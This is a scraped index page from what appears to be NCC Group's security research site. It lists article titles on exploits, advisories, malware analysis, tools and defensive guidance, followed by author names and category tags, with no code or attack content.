a Mobile Mallory Gateway * CyberVillainsCA * DECTbeacon * Fuzzbox * Gizmo * HTTP Profiler * Intent Sniffer * Intent Fuzzer * iSEC Partners Releases SSLyze * Jailbreak * Manifest Explorer * Package Play * ProxMon * pySimReader * SAML Pummel * SecureBigIP * SecureCisco * SecureCookies * SecureIE.ActiveX * WebRATS * AWS Inventory: A tool for mapping AWS resources * Extractor * CMakerer: A small tool to aid CLion’s indexing * Emissary Panda – A potential new malicious tool * SMB hash hijacking & user tracking in MS Outlook * Testing HTTP/2 only web services * Windows IPC Fuzzing Tools * WSBang * WSMap * Nerve * Ragweed * File Fuzzers * Kivlad * Android SSL Bypass * Hiccupy * iOS SSL Killswitch * The SSL Conservatory * TLSPretense — SSL/TLS Client Testing Framework * tcpprox * YoNTMA * Tattler * PeachFarmer * Android-KillPermAndSigChecks * Android-OpenDebug * Android-SSL-TrustKiller * Introspy for Android * RtspFuzzer * SSLyze v0.8 * NCLoader * IG Learner Walkthrough * Forensic Fuzzing Tools * Security First Umbrella * Autochrome * WSSiP: A Websocket Manipulation Proxy * AssetHook * Call Map: A Tool for Navigating Call Graphs in Python * Sobelow: Static analysis for the Phoenix Framework * G-Scout * Decoder Improved Burp Suite Plugin * Python Class Informer: an IDAPython plugin for viewing run-time type information (RTTI) * AutoRepeater: Automated HTTP Request Repeating With Burp Suite * Open Banking: Security considerations & potential risks * scenester * port-scan-automation * Windows DACL Enum Project * umap * Shocker * Zulu * whitebox * vlan-hopping * tybocer * xcavator * WindowsJobLock * Azucar * Introducing Azucar * Readable Thrift * Decoding network data from a Gh0st RAT variant * Technical Advisory: Multiple Vulnerabilities in ManageEngine Desktop Central * Discovering Smart Contract Vulnerabilities with GOATCasino * BLEBoy * APT15 is Alive and Strong: An Analysis of RoyalCli and RoyalDNS * TPM Genie: Interposer Attacks Against the Trusted Platform Module Serial Bus * Technical Advisory: Code Execution by Unsafe Resource Handling in Multiple Microsoft Products * Technical Advisory: Code Execution by Viewing Resource Files in .NET Reflector * Technical Advisory: Reflected Cross-Site Scripting (XSS) vulnerability in Jenkins Delivery Pipeline plugin * Spectre and Meltdown: What you Need to Know * The economics of defensive security * HIDDEN COBRA Volgmer: A Technical Analysis * Integrity destroying malicious code for financial or geopolitical gain: A vision of the future? * Kubernetes Security: Consider Your Threat Model * Mobile & web browser credential management: Security implications, attack cases & mitigations * SOC maturity & capability * Automated Reverse Engineering of Relationships Between Data Structures in C++ Binaries * Pointer Sequence Reverser (PSR) * Cisco ASA series part eight: Exploiting the CVE-2016-1287 heap overflow over IKEv1 * Bypassing Android’s Network Security Configuration * Technical Advisory – Bomgar Remote Support – Local Privilege Escalation * Cisco ASA series part seven: Checkheaps * Adversarial Machine Learning: Approaches & defences * eBook: Breach notification under GDPR – How to communicate a personal data breach * Cisco ASA series part six: Cisco ASA mempools * The Update Framework (TUF) Security Assessment * Cisco ASA series part five: libptmalloc gdb plugin * Technical Advisory: Adobe ColdFusion RMI Registry.bind() Deserialisation RCE * Technical Advisory: Adobe ColdFusion Object Deserialisation RCE * Cisco ASA series part four: dlmalloc-2.8.x, libdlmalloc, & dlmalloc on Cisco ASA * Decoder Improved Burp Suite plugin release part two * Cisco ASA series part three: Debugging Cisco ASA firmware * Managing PowerShell in a modern corporate environment * Cisco ASA series part two: Static analysis & datamining of Cisco ASA firmware * Cisco ASA series part one: Intro to the Cisco ASA * EternalGlue part one: Rebuilding NotPetya to assess real-world resilience * Technical Advisory: Authentication rule bypass * Technical Advisory – play-pac4j Authentication rule bypass * Decoder Improved Burp Suite plugin release part one * Technical advisory: Remote shell commands execution in ttyd * Poison Ivy string decryption * Securing the continuous integration process * Signaturing an Authenticode anomaly with Yara * Analysing a recent Poison Ivy sample * Endpoint connectivity * DeLux Edition: Getting root privileges on the eLux Thin Client OS * UK government cyber security guidelines for connected & autonomous vehicles * Smuggling HTA files in Internet Explorer/Edge * Database Security Brief: The Oracle Critical Patch Update for April 2007 * Buffer Underruns, DEP, ASLR and improving the Exploitation Prevention Mechanisms (XPMs) on the Windows platform * Data-mining with SQL Injection and Inference * The Pharming Guide – Understanding and preventing DNS related attacks by phishers * Weak Randomness Part I – Linear Congruential Random Number Generators * Exploiting PL/SQL Injection Flaws with only CREATE SESSION Privileges * Blind Exploitation of Stack Overflow Vulnerabilities * Slotting Security into Corporate Development * Creating Arbitrary Shellcode In Unicode Expanded Strings * Violating Database – Enforced Security Mechanisms * Hacking the Extensible Firmware Interface * Advanced Exploitation of Oracle PL/SQL Flaws * Firmware Rootkits: The Threat to the Enterprise * Database Security: A Christmas Carol * Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server * Non-flood/non-volumetric Distributed Denial of Service (DDoS) * VoIP Security Methodology and Results * E-mail Spoofing and CDONTS.NEWMAIL * Dangling Cursor Snarfing: A New Class of Attack in Oracle * Database Servers on Windows XP and the unintended consequences of simple file sharing * DNS Pinning and Web Proxies * Technical advisory: CVE-2017-8592 – XMLHttpRequest in IE followed 307 redirections with additional or customised headers * Which database is more secure? Oracle vs. Microsoft * Variations in Exploit methods between Linux and Windows * Using graph databases to assess the security of thingernets based on the thingabilities and thingertivity of things * Live Incident Blog: June Global Ransomware Outbreak * Beyond data loss prevention * How to protect yourself & your organisation from phishing attacks * Rise of the machines: Machine Learning & its cyber security applications * Combating Java Deserialisation Vulnerabilities with Look-Ahead Object Input Streams (LAOIS) * A WarCon 2017 Presentation: Cisco ASA – Exploiting the IKEv1 Heap Overflow – CVE-2016-1287 * Latest threats to the connected car & intelligent transport ecosystem * Network Attached Security: Attacking a Synology NAS * Accessing Private Fields Outside of Classes in Java * Understanding the insider threat & how to mitigate it * Matty McMattface: Security implications, mitigations & testing strategies for biometric facial recognition systems * Setting a New Standard for Kubernetes Deployments * Encryption at rest: Not the panacea to data protection * Applying normalised compression distance for architecture classification * Microsoft Zero-Day Vulnerability – OLE2Link – Threat Intelligence and Signatures * D-LINK DIR-850L web admin interface vulnerable to stack-based buffer overflow * Fix Bounty * Unauthenticated XML eXternal Entity (XXE) vulnerability * General Data Protection Regulation: Knowing your data * Technical Advisory: Shell Injection in MacVim mvim URI Handler * Technical Advisory: Shell Injection in SourceTree * SCOMplicated? – Decrypting SCOM “RunAs” credentials * Technical Advisory: Multiple Vulnerabilities in Accellion File Transfer Appliance * ISM RAT * Mergers & Acquisitions (M&A) cyber security due diligence * Advisory-CraigSBlackie-CVE-2016-9795 * Best practices with BYOD * Technical Advisory: Nexpose Hard‐coded Java Key Store Passphrase Allows Decryption of Stored Credentials * Compromising Apache Tomcat via JMX access * Berserko: Kerberos Authentication for Burp Suite * Java RMI Registry.bind() Unvalidated Deserialization * NCC CON Europe 2017 * Understanding cyber risk management vs uncertainty with confidence in 2017 * iOS MobileSlideShow USB Image Class arbitrary code execution.txt * Denial of Service in Parsing a URL by ierutil.dll * U plug, we play * SSL checklist for pentesters * Dissecting social engineering attacks * External Enumeration and Exploitation of Email and Web Security Solutions * Social Engineering * Phishing Stories * Automating extraction from malware and recent campaign analysis * DDoS Common Approaches and Failings * Absolute Security * How much training should staff have on cyber security? * USB under the bonnet: Implications of USB security vulnerabilities in vehicle systems * Cyber Essentials Scheme * Webinar – PCI Version 3.0: Are you ready? * Webinar: 4 Secrets to a Robust Incident Response Plan * Cloud Security Presentation * Webinar: SMACK, SKIP-TLS & FREAK SSL/TLS vulnerabilities * Revealing Embedded Fingerprints: Deriving intelligence from USB stack interactions * Memory Gap * 44Con2013Game * creep-web-app-scanner * ncccodenavi * Pip3line * typofinder * DIBF – Updated * IODIDE * CECSTeR * cisco-SNMP-enumeration * dotnetpaddingoracle * dotnetpefuzzing * easyda * EDIDFuzzer * Fat-Finger * firstexecution * grepify * FrisbeeLite * State-of-the-art email risk * Ransomware: what organisations can do to survive * hostresolver * lapith * metasploitavevasion * Maritime Cyber Security: Threats and Opportunities * IP-reputation-snort-rule-generator * The L4m3ne55 of Passw0rds: Notes from the field * Mature Security Testing Framework * Exporting non-exportable RSA keys * Black Hat USA 2015 presentation: Broadcasting your attack-DAB security * The role of security research in improving cyber security * Self-Driving Cars- The future is now… * They Ought to Know Better: Exploiting Security Gateways via their Web Interfaces * Mobile apps and security by design * The Myth of Twelve More Bytes: Security on the Post-Scarcity Internet * When Security Gets in the Way: PenTesting Mobile Apps That Use Certificate Pinning * USB Undermining Security Barriers:further adventures with USB * Software Security Austerity Security Debt in Modern Software Development * RSA Conference – Mobile Threat War Room * Finding the weak link in binaries * To dock or not to dock, that is the question: Using laptop docking stations as hardware-based attack platforms * Harnessing GPUs Building Better Browser Based Botnets * The Browser Hacker’s Handbook * SQL Server Security * The Database Hacker’s Handbook * Social Engineering Penetration Testing * Public Report – Matrix Olm Cryptographic Review * Research Insights Volume 8 – Hardware Design: FPGA Security Risks * Zcash Cryptography and Code Review * Optimum Routers: Researching Managed Routers * Peeling back the layers on defence in depth…knowing your onions * End-of-life pragmatism * iOS Instrumentation Without Jailbreak * The Password is Dead, Long Live the Password! * Microsoft Office Memory Corruption Vulnerability * Windows 10 USB Mass Storage driver arbitrary code execution in kernel mode * Elephant in the Boardroom Survey 2016 * A Peek Behind the Great Firewall of Russia * Avoiding Pitfalls Developing with Electron * Flash local-with-filesystem Bypass in navigateToURL * D-Link routers vulnerable to Remote Code Execution (RCE) * iOS Application Security: The Definitive Guide for Hackers and Developers * The Mobile Application Hacker’s Handbook * Research Insights Volume 9 – Modern Security Vulnerability Discovery * Post-quantum cryptography overview * The CIS Security Standard for Docker available now * An adventure in PoEKmon NeutriGo land * The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd Edition * How will GDPR impact your communications? * Potential false redirection of web site content in Internet in SAP NetWeaver web applications * Multiple security vulnerabilities in SAP NetWeaver BSP Logon * The Automotive Threat Modeling Template * My name is Matt – My voice is my password * Ransomware: How vulnerable is your system? * NCC Group WhitepaperUnderstanding and HardeningLinux ContainersJune 29, 2016 – Version 1.1 * My Hash is My Passport: Understanding Web and Mobile Authentication * Project Triforce: Run AFL on Everything! * Writing Exploits for Win32 Systems from Scratch * How to Backdoor Diffie-Hellman * Local network compromise despite good patching * Sakula: an adventure in DLL planting * When a Trusted Site in Internet Explorer was Anything But * GSM/GPRS Traffic Interception for Penetration Testing Engagements * An Adaptive-Ciphertext Attack Against “I ⊕ C” Block Cipher Modes With an Oracle * Creating a Safer OAuth User Experience * Attacking Web Service Security: Message Oriented Madness, XML Worms and Web Service Security Sanity * Aurora Response Recommendations * Blind Security Testing – An Evolutionary Approach * Building Security In: Software Penetration Testing * Cleaning Up After Cookies * Command Injection in XML Signatures and Encryption * Common Flaws of Distributed Identity and Authentication Systems * Cross Site Request Forgery: An Introduction to a Common Web Application Weakness * Developing Secure Mobile Applications for Android * Exposing Vulnerabilities in Media Software * Hunting SQL Injection Bugs * IAX Voice Over-IP Security * ProxMon: Automating Web Application Penetration Testing * iSEC’s Analysis of Microsoft’s SDL and its ROI * Secure Application Development on Facebook * Secure Session Management With Cookies for Web Applications * Security Compliance as an Engineering Discipline * Weaknesses and Best Practices of Public Key Kerberos with Smart Cards * Exploiting Rich Content * HTML5 Security The Modern Web Browser Perspective * An Introduction to Authenticated Encryption * Attacks on SSL * Content Security Policies Best Practices * Windows Phone 7 Application Security Survey * Browser Extension Password Managers * Introducing idb-Simplified Blackbox iOS App Pentesting * Login Service Security * The factoring dead: Preparing for the cryptopocalypse * Auditing Enterprise Class Applications and Secure Containers on Android * Early CCS Attack Analysis * Analysis of Boomerang Differential Trials via a SAT-Based Constraint Solver URSA * Perfect Forward Security * Internet of Things Security * Secure Messaging for Normal People * Understanding and Hardening Linux Containers * Adventures in Windows Driver Development: Part 1 * Private sector cyber resilience and the role of data diodes * From CSV to CMD to qwerty * General Data Protection Regulation – are you ready? * Business Insights: Cyber Security in the Financial Sector * The Importance of a Cryptographic Review * osquery Application Security Assessment Public Report * Sysinternals SDelete: When Secure Delete Fails * Ricochet Security Assessment Public Report * Breaking into Security Research at NCC Group * Building Systems from Commercial Components * Modernizing Legacy Systems: Software Technologies, Engineering Processes, and Business Practices * Secure Coding in C and C++ * CERT Oracle Secure Coding Standard for Java * CERT C Secure Coding Standard * Java Coding Guidelines: 75 Recommendations for Reliable and Secure Programs * Professional C Programming LiveLessons, (Video Training) Part I: Writing Robust, Secure, Reliable Code * Secure Coding in C and C++, 2nd Edition * The CERT® C Coding Standard, Second Edition: 98 Rules for Developing Safe, Reliable, and Secure Systems * Secure Coding Rules for Java LiveLessons, Part 1 * Hacking Displays Made Interesting * What the HEC? Security implications of HDMI Ethernet Channel and other related protocols * 44CON Workshop – How to assess and secure iOS apps * Payment Card Industry Data Security Standard (PCI DSS) A Navigation and Explanation of Changes from v2.0 to v3.0 * Mobile World Congress – Mobile Internet of Things * Practical SME security on a shoestring * BlackHat Asia USB Physical Access * How we breach network infrastructures and protect them * Hacking a web application * Batten down the hatches: Cyber threats facing DP operations * Threats and vulnerabilities within the Maritime and shipping sectors * Distributed Ledger (Blockchain) Security and Quantum Computing Implications * Abusing Privileged and Unprivileged Linux Containers * A few notes on usefully exploiting libstagefright on Android 5.x * NCC Con Europe 2016 * Remote Exploitation of Microsoft Office DLL Hijacking (MS15-132) via Browsers * Phishing Mitigations: Configuring Microsoft Exchange to Clearly Identify External Emails * Car Parking Apps Vulnerable To Hacks * eBook – Do you know how your organisation would react in a real-world attack scenario? * Erlang Security 101 * SysAid Helpdesk blind SQL injection * SysAid Helpdesk stored XSS * Virtual Access Monitor Multiple SQL Injection Vulnerabilities * Whatsupgold Premium Directory traversal * Windows remote desktop memory corruptoin leading to RCE on XPSP3 * Windows USB RNDIS driver kernel pool overflow * Drones: Detect, Identify, Intercept, and Hijack * Introducing Chuckle and the Importance of SMB Signing * Threat Intelligence: Benefits for the Enterprise * Best Practices for the use of Static Code Analysis within a Real-World Secure Development Lifecycle * Secure Device Manufacturing: Supply Chain Security Resilience * eBook – Planning a robust incident response process * HDMI Ethernet Channel * Advanced SQL Injection in SQL Server Applications * USB keyboards by post – use of embedded keystroke injectors to bypass autorun restrictions on modern desktop operating systems * ASP.NET Security and the Importance of KB2698981 in Cloud Environments * Xen HYPERVISOR_xen_version stack memory revelation * Windows Remote Desktop Memory Corruption Leading to RCE on XPSP3 * SysAid Helpdesk Pro – Blind SQL Injection * Symantec Messaging Gateway SSH with backdoor user account + privilege escalation to root due to very old Kernel * Symantec Messaging Gateway Out of band stored XSS delivered by email * Symantec Messaging Gateway Easy CSRF to add a backdoor-administrator (for example) * Symantec Messaging Gateway Arbitrary file download is possible with a crafted URL (authenticated) * Symantec Backup Exec 2012 – Persistent XSS Vulnerability Affecting Custom Reports * Symantec Backup Exec 2012 – OS version and service pack information leak * Symantec Backup Exec 2012 – Linux Backup Agent Heap Overflow * Symantec Backup Exec 2012 Backup/Restore Data Traverses Memory with Weak ACLs * Symantec Backup Exec 2012 – Backup Exec Utility Stored XSS when adding Groups, Servers and Computers * Squiz CMS File Path Traversal * Solaris 11 USB Hub Class descriptor kernel stack overflow * SmarterMail – Stored XSS in emails * Remote code execution in ImpressPages CMS * OS X 10.6.6 Camera Raw Library Memory Corruption * Oracle Java Installer Adds a System Path Which is Writable by All * Oracle Hyperion 11 Directory Traversal * Oracle E-Business Suite Pre-Auth SQLi with DBA Privileges * Nessus Authenticated Scan – Local Privilege Escalation * NCC Group Malware Technical Note * Nagios XI Network Monitor – Stored and Reflective XSS * Multiple Vulnerabilities in MailEnable * Microsoft Internet Explorer CMarkup Use-After-Free * McAfee Email and Web Security Appliance v5.6 – Session hijacking (and bypassing client-side session timeouts) * McAfee Email and Web Security Appliance v5.6 – Password hashes can be recovered from a system backup and easily cracked * McAfee Email and Web Security Appliance v5.6 – Arbitrary file download is possible with a crafted URL, when logged in as any user * McAfee Email and Web Security Appliance v5.6 – Any logged-in user can bypass controls to reset passwords of other administrators * McAfee Email and Web Security Appliance v5.6 – Active session tokens of other users are disclosed within the UI * iOS 7 arbitrary code execution in kernel mode * Understanding Microsoft Word OLE Exploit Primitives * Understanding Microsoft Word OLE Exploit Primitives: Exploiting CVE-2015-1642 Microsoft Office CTaskSymbol Use-After-Free Vulnerability * Porting the Misfortune Cookie Exploit: A Look into Router Exploitation Using the TD-8817 * Vehicle Emissions and Cyber Security * Research Insights Volume 6: Common Issues with Environment Breakouts * Does TypeScript Offer Security Improvements Over JavaScript? * Common Security Issues in Financially-Oriented Web Applications * Research Insights Volume 3 – How are we breaking in: Mobile Security * Build Your Own Wi-Fi Mapping Drone Capability * Exploiting CVE-2015-2426, and How I Ported it to a Recent Windows 8.1 64-bit * Exploiting MS15-061 Use-After-Free Windows Kernel Vulnerability * Password and brute-force mitigation policies * Understanding Ransomware: Impact, Evolution and Defensive Strategies * libtalloc: A GDB plugin for analysing the talloc heap * Lumension Device Control (formerly Sanctuary) remote memory corruption * LibAVCodec AMV Out of Array Write * Increased exploitation of Oracle GlassFish Server Administration Console Remote Authentication Bypass * Flash security restrictions bypass: File upload by URLRequest * Immunity Debugger Buffer Overflow * DataArmor Full Disk Encryption 3.0.12c – Restricted Environment breakout, Privilege Escalation and Full Disk Decryption * Cups-filters remote code execution * Critical Risk Vulnerability in SAP Message Server (Heap Overflow) * Critical Risk Vulnerability in SAP DB Web Server (Stack Overflow) * Critical Risk Vulnerability in Ingres (Pointer Overwrite 2) * Critical Risk Vulnerability in Ingres (Pointer Overwrite 1) * Cisco VPN Client Privilege Escalation * Cisco IPSec VPN Implementation Group Name Enumeration * Blue Coat BCAAA Remote Code Execution Vulnerability * BlackBerry Link WebDav Server Bound to the BlackBerry VPN Adapter * Bit51 Better Security WP Security Plugin – Unauthenticated Stored XSS to RCE * Back Office Web Administration Authentication Bypass * AtHoc Toolbar * ASE 12.5.1 datatype overflow * Archived Technical Advisories * Apple QuickTime Player m4a Processing Buffer Overflow * Apple OSX/iPhone iOS ImageIO TIFF getBandProcTIFF TileWidth Heap Overflow * Apple Mac OS X ImageIO TIFF Integer Overflow * Apple CoreAnimation Heap Overflow * Writing Small Shellcode * Writing Secure ASP Scripts * Windows 2000 Format String Vulnerabilities * The Pentesters Guide to Akamai * Adobe flash sandbox bypass to navigate to local drives * Adobe Flash Player Cross Domain Policy Bypass * Adobe Acrobat Reader XML Forms Data Format Buffer Overflow * Tool Release: Introducing opinel: Scout2’s favorite tool * Broadcasting your attack – DAB security * Modelling Threat Actor Phishing Behaviour * Research Insights Volume 7: Exploitation Advancements * Exploiting the win32k!xxxEnableWndSBArrows use-after-free (CVE-2015-0057) bug on both 32-bit and 64-bit * The Demise of Signature Based Antivirus * Stopping Automated Attack Tools * Security of Things: An Implementers’ Guide to Cyber-Security for Internet of Things Devices and Beyond * Security Best Practice: Host Naming & URL Conventions * Securing PL/SQL Applications with DBMS_ASSERT * Second-Order Code Injection Attacks * Revealing Embedded Fingerprints: Deriving Intelligence from USB Stack Interactions 2013 * Research Insights Volume 4 – Sector Focus: Maritime Sector * Research Insights Volume 2 – Defensive Trends * Research Insights Volume 1 – Sector Focus: Financial Services * Quantum Cryptography – A Study Into Present Technologies and Future Applications * Protecting stored cardholder data (an unofficial supplement to PCI DSS V3.0) * Preparing for Cyber Battleships – Electronic Chart Display and Information System Security * Passive Information Gathering – The Analysis of Leaked Network Security Information * Oracle Passwords and OraBrute * Oracle Forensics Part 7 Using the Oracle System Change Number in Forensic Investigations * Oracle Forensics Part 6: Examining Undo Segments, Flashback and the Oracle Recycle Bin * Oracle Forensics Part 5: Finding Evidence of Data Theft in the Absence of Auditing * Oracle Forensics Part 4: Live Response * Oracle Forensics Part 3: Isolating Evidence of Attacks Against the Authentication Mechanism * Oracle Forensics Part 2: Locating Dropped Objects * Oracle Forensics Part 1: Dissecting the Redo Logs * Non-stack Based Exploitation of Buffer Overrun Vulnerabilities on Windows NT 2000 XP * New Attack Vectors and a Vulnerability Dissection of MS03-007 * More Advanced SQL Injection * Microsoft’s SQL Server vs. Oracle’s RDBMS * Microsoft SQL Server Passwords * Low Cost Attacks on Smart Cards – The Electromagnetic Side-Channel * Lessons learned from 50 bugs: Common USB driver vulnerabilities * Inter-Protocol Exploitation * Inter-Protocol Communication * Improving your Network and Application Assurance Strategy in an environment of increasing 0day vulnerabilities * Implementing and Detecting a PCI Rootkit * How organisations can properly configure SSL services to ensure the integrity and confidentiality of data in transit * Hackproofing Oracle Application Server * Hackproofing MySQL * Hackproofing Lotus Domino Web Server * Hacking Appliances: Ironic exploits in security products * Fuzzing USB devices using Frisbee Lite * HDMI – Hacking Displays Made Interesting * Exploiting Security Gateways Via Web Interfaces * Research Insights Volume 5 – Sector Focus: Automotive * The why behind web application penetration test prerequisites * Blackbox iOS App Assessments Using idb * Cyber red-teaming business-critical systems while managing operational risk * Blind Return Oriented Programming * Username enumeration techniques and their value * IAM user management strategy (part 2) * Faux Disk Encryption: Realities of Secure Storage On Mobile Devices * Some Notes About the Xen XSA-122 Bug * USB attacks need physical access right? Not any more… * Image IO Memory Corruption * Threat Profiling Microsoft SQL Server * Thin Clients: Slim Security * Impress Pages CMS Remote Code Execution * The Phishing Guide: Understanding & Preventing Phishing Attacks * Lumension Device Control Remote Memory Corruption * McAfee Email and Web Security Appliance Active session tokens of other users are disclosed within the UI * McAfee Email and Web Security Appliance Any logged-in user can bypass controls to reset passwords of other administrators * Adam Roberts * Anthony Ferrillo * Aaron Greetham * Aaron Haymore * Alberto Verza * Aleksandar Kircanski * Alessandro Fanio Gonzalez * Alessandro Fanio González * Alex Plaskett * Alex Zaviyalov * Alvaro Martin Fraguas * Álvaro Martín Fraguas * Andrea Shirley-Bellande * Drew Wade * Andy Davis * Andy Grant * Antonis Terefos * anvesh3752 * Alexander Smye * aschmitz * Author Test * Ava Howell * Andrew Whistlecroft * balazs.bucsay * Nicolas Bidron * NCC Group Physical Breach Team * Rich Warren * Caleb Watt * Clinton Carpene * Cedric Halbronn * chrisanley * Christo Butcher * Clayton Lowell * Clint Gibler * cnevncc * Contributor Test * corancc * Corey Arthur * Christian Powills * Craig Blackie * Catalin Visinescu * Ken Wolstencroft * Dale Pavey * Damon Small * Dan Hastings * Dave G. * David Tulis * David Cash * Daniele Costa * destoken * Diana Dragusin * Diego Gomez Maranon * Diego Gómez Marañon * Domen Puncer Kugler * Daniel Romero * Deni * David Young * Edward Torkington * Exploit Development Group * elenabakoslang * Eli Sohl * epliuncc * Erik Schamper * Erik Steringer * Eric Schorn * fernandogallegopinero * Aaron Adams * Gavin Cotter (Temp) * Gerald Doussot * Gérald Doussot * Giacomo Pope * Global Threat Intelligence * Guy Morley * William Handy * Liew hock lai * Hollie Mowatt * Heather Overcash * Rob Wood * Iain Smart * Izzy Whistlecroft * Jacob Heath * Jameson Hyde * Phillip Langlois and Edward Torkington * Jashan Benawra * Jason Kielpinski * Javed Samuel * James Chambers * Jelle Vergeer * Jennifer Reed * Jeremy Boone * Jerome Smith * Jesus Calderon Marin * Jesús Calderón Marín * Jay Houppermans * Jack Leadford * Joshua Makinen * John Redford * Joost Jansen * Joshua Dow * Jose Selvi * Kenneth Yu * Kat Sommer * Katarina Dabler * Ben Lister * Krijn de Mik * Lars Behrens * Lawrence Munro * Liam Glanfield * Liam Stevenson * Liyun Li * Lucas Rosevear * Luke Paris * Matt Lewis * Manuel Gines * Margit Hazenbroek * Marie-Sarah Lacharite * Mario Rivas * NCC Group & Fox-IT Data Science Team * Max Groot * McCaulay Hudson * Michael Gough * Mostafa Hassan * Matthew Pettitt * Frank Gifford * Michelle Simpson * Neil Bergman * NCC Group * NCC Group Publication Archive * Bill Marquette * Daniel Lopezjimenez * nccdavid * Dan Helton * RIFT: Research and Intelligence Fusion Team * R.Rivera * NCC Group Red Team * Ilya Zhuravlev * Jennifer Fernick * ncckai * Lewis Lockwood * Jon Szymaniak * Mark Manning * nccmarktedman * Michael Sandee * Simon Palmer * nccricardomr * Stefano Antenucci * Simone Salucci and Daniel Lopez Jimenez * Samuel Siu * Tanner Prynn * Yun Zheng Hu * Stephen Tomkinson * Nicolas Guigo * Nick Galloway * Nick Muir * Nick Dunn * Nick Sirris * Nikolaos Pantazopoulos * Oliver Brooks * Ollie Whitehouse * Ollie Wen * Parnian Alimi * Paul Bottinelli * Peter Scopes * Peter Hannay * philipmarsdennccgroupcom * Pixel Kicks * Pixel Kicks * pixelkicks-fiona * pixelkicks-fred * pixelkicks-matt.hamer * pixelkicks-turhan * pixelkicks-will * pqueenncc * Philipp Schaefer * qkchambers * Rory McCune * Rami McCarthy * Ray Lai * Robert C. Seacord * Rennie deGraaf * Chris Nevin * Richard Appleby * Rick Veldhoven * Fumik0_ * Rindert Kramer * Rob Ince * robertgrimes123 * Robert Wessen * Ross Bradley * Robert Schwass * sampeate * Roger Meyer * schlopeckincc * Siddarth Adukia * Sam Leonard (they/them) * Spencer Michaels * sean.morland@nccgroup.com * Sander de Jong * Stuart Kurutac * Subscriber Test * Sultan Khan * Swathi Nagarajan * Simon Watson * Jeff Dileo * Thomas Marshall * Ivan Reedman * Thomas Pornin * Jeremy Boone * Viktor Gazdag * Vishtasp Jokhi * Wouter Jansen * William Groesbeck * whoughtonncc * Wordpress SSO Test * Xavier Garceau-Aranda * Ken Gannon * Kevin Henry * 5G Security & Smart Environments * Academic Partnership * Annual Research Report * Asia Pacific Research * Awards & Recognition * Books * Business Insights * CIRT * Cloud & Containerization * Cloud Security * Conferences * Corporate * Cryptography * CTFs/Microcorruption * Current events * Cyber as a Science * Cyber Security * Detection and Threat Hunting * Disclosure Policy * Emerging Technologies * Engineering * Fox-IT * Fox-IT and European Research * Gaming & Media * Hardware & Embedded Systems * Intern Projects * iSec Partners * Machine Learning * Managed Detection & Response * Misinformation, Deepfakes, & Synthetic Media * North American Research * Offensive Security & Artificial Intelligence * Patch notifications * Presentations * protocol_name * Public interest technology * Public interest technology * Public Reports * Public tools * Reducing Vulnerabilities at Scale * Research * Research Paper * Reverse Engineering * Risk Management & Governance * Standards * Technical advisories * Technology Policy * Threat briefs * Threat Intelligence * Tool Release * Transport * Tutorial/Study Guide * UK Research * Uncategorized * Virtualization, Emulation, & Containerization * VSR * Vulnerability * Whitepapers Enter a search term Search * Eurocrypt 2023: Death of a KEM * Reverse Engineering Coin Hunt World’s Binary Protocol * Technical Advisory – Multiple Vulnerabilities in Faronics Insight (CVE-2023-28344, CVE-2023-28345, CVE-2023-28346, CVE-2023-28347, CVE-2023-28348, CVE-2023-28349, CVE-2023-28350, CVE-2023-28351, CVE-2023-28352, CVE-2023-28353) * Tool Release: Code Query (cq) * CowCloud * OffensiveCon 2023 – Exploit Engineering – Attacking the Linux Kernel * Tool Release: Code Credential Scanner (ccs) * Exploring Overfitting Risks in Large Language Models * The Paillier Cryptosystem with Applications to Threshold ECDSA * Rigging the Vote: Uniqueness in Verifiable Random Functions * Medical Devices: A Hardware Security Perspective * NETGEAR Routers: A Playground for Hackers? * Real World Cryptography Conference 2023 – Part I * Public Report – AWS Nitro System API & Security Claims * State of DNS Rebinding in 2023 * Machine Learning 103: Exploring LLM Code Generation * HITBAMS – Your Not so “Home” Office – Soho Hacking at Pwn2Own * Public Report – Kubernetes 1.24 Security Audit * Public Report – Solana Program Library ZK-Token Security Assessment * Stepping Insyde System Management Mode * Breaking Pedersen Hashes in Practice * A Race to Report a TOCTOU: Analysis of a Bug Collision in Intel SMM * Making New Connections – Leveraging Cisco AnyConnect Client to Drop and Run Payloads * A Primer On Slowable Encoders * Threat Spotlight – Hydra * Rustproofing Linux (Part 4/4 Shared Memory) * Rustproofing Linux (Part 3/4 Integer Overflows) * Security Code Review With ChatGPT * Rustproofing Linux (Part 2/4 Race Conditions) * Readable Thrift * Building WiMap the Wi-Fi Mapping Drone * Fuzzing the Easy Way Using Zulu * Exploiting CVE-2014-0282 * Rustproofing Linux (Part 1/4 Leaking Addresses) * Machine Learning 102: Attacking Facial Authentication with Poisoned Data * Threat Modelling Cloud Platform Services by Example: Google Cloud Storage * Using Semgrep with Jupyter Notebook files * Announcing NCC Group’s Cryptopals Guided Tour: Set 2 * Technical Advisory – U-Boot – Unchecked Download Size and Direction in USB DFU (CVE-2022-2347) * Technical Advisory – Multiple Vulnerabilities in the Galaxy App Store (CVE-2023-21433, CVE-2023-21434) * Project Bishop: Clustering Web Pages * Puckungfu: A NETGEAR WAN Command Injection * MeshyJSON: A TP-Link tdpServer JSON Stack Overflow * Machine Learning 101: The Integrity of Image (Mis)Classification? * Replicating CVEs with KLEE * Public Report – VPN by Google One Security Assessment * Public Report – Confidential Space Security Review * Exploring Prompt Injection Attacks * Impersonating Gamers With GPT-2 * So long and thanks for all the 0day * A jq255 Elliptic Curve Specification, and a Retrospective * Technical Advisory – NXP i.MX SDP_READ_DISABLE Fuse Bypass (CVE-2022-45163) * Tool Release – Web3 Decoder Burp Suite Extension * Tales of Windows detection opportunities for an implant framework * Check out our new Microcorruption challenges! * Toner Deaf – Printing your next persistence (Hexacon 2022) * Technical Advisory – OpenJDK – Weak Parsing Logic in java.net.InetAddress and Related Classes * Public Report – IOV Labs powHSM Security Assessment * Shining New Light on an Old ROM Vulnerability: Secure Boot Bypass via DCD and CSF Tampering on NXP i.MX Devices * A glimpse into the shadowy realm of a Chinese APT: detailed analysis of a ShadowPad intrusion * Detecting Mimikatz with Busylight * Whitepaper – Project Triforce: Run AFL On Everything (2017) * Tool Release – Project Kubescout: Adding Kubernetes Support to Scout Suite * Technical Advisory – Multiple Vulnerabilities in Juplink RX4-1800 WiFi Router (CVE-2022-37413, CVE-2022-37414) * A Guide to Improving Security Through Infrastructure-as-Code * Tool Release – ScoutSuite 5.12.0 * Public Report – Penumbra Labs Decaf377 Implementation and Poseidon Parameter Selection Review * Tool Release – Monkey365 * Sharkbot is back in Google Play * 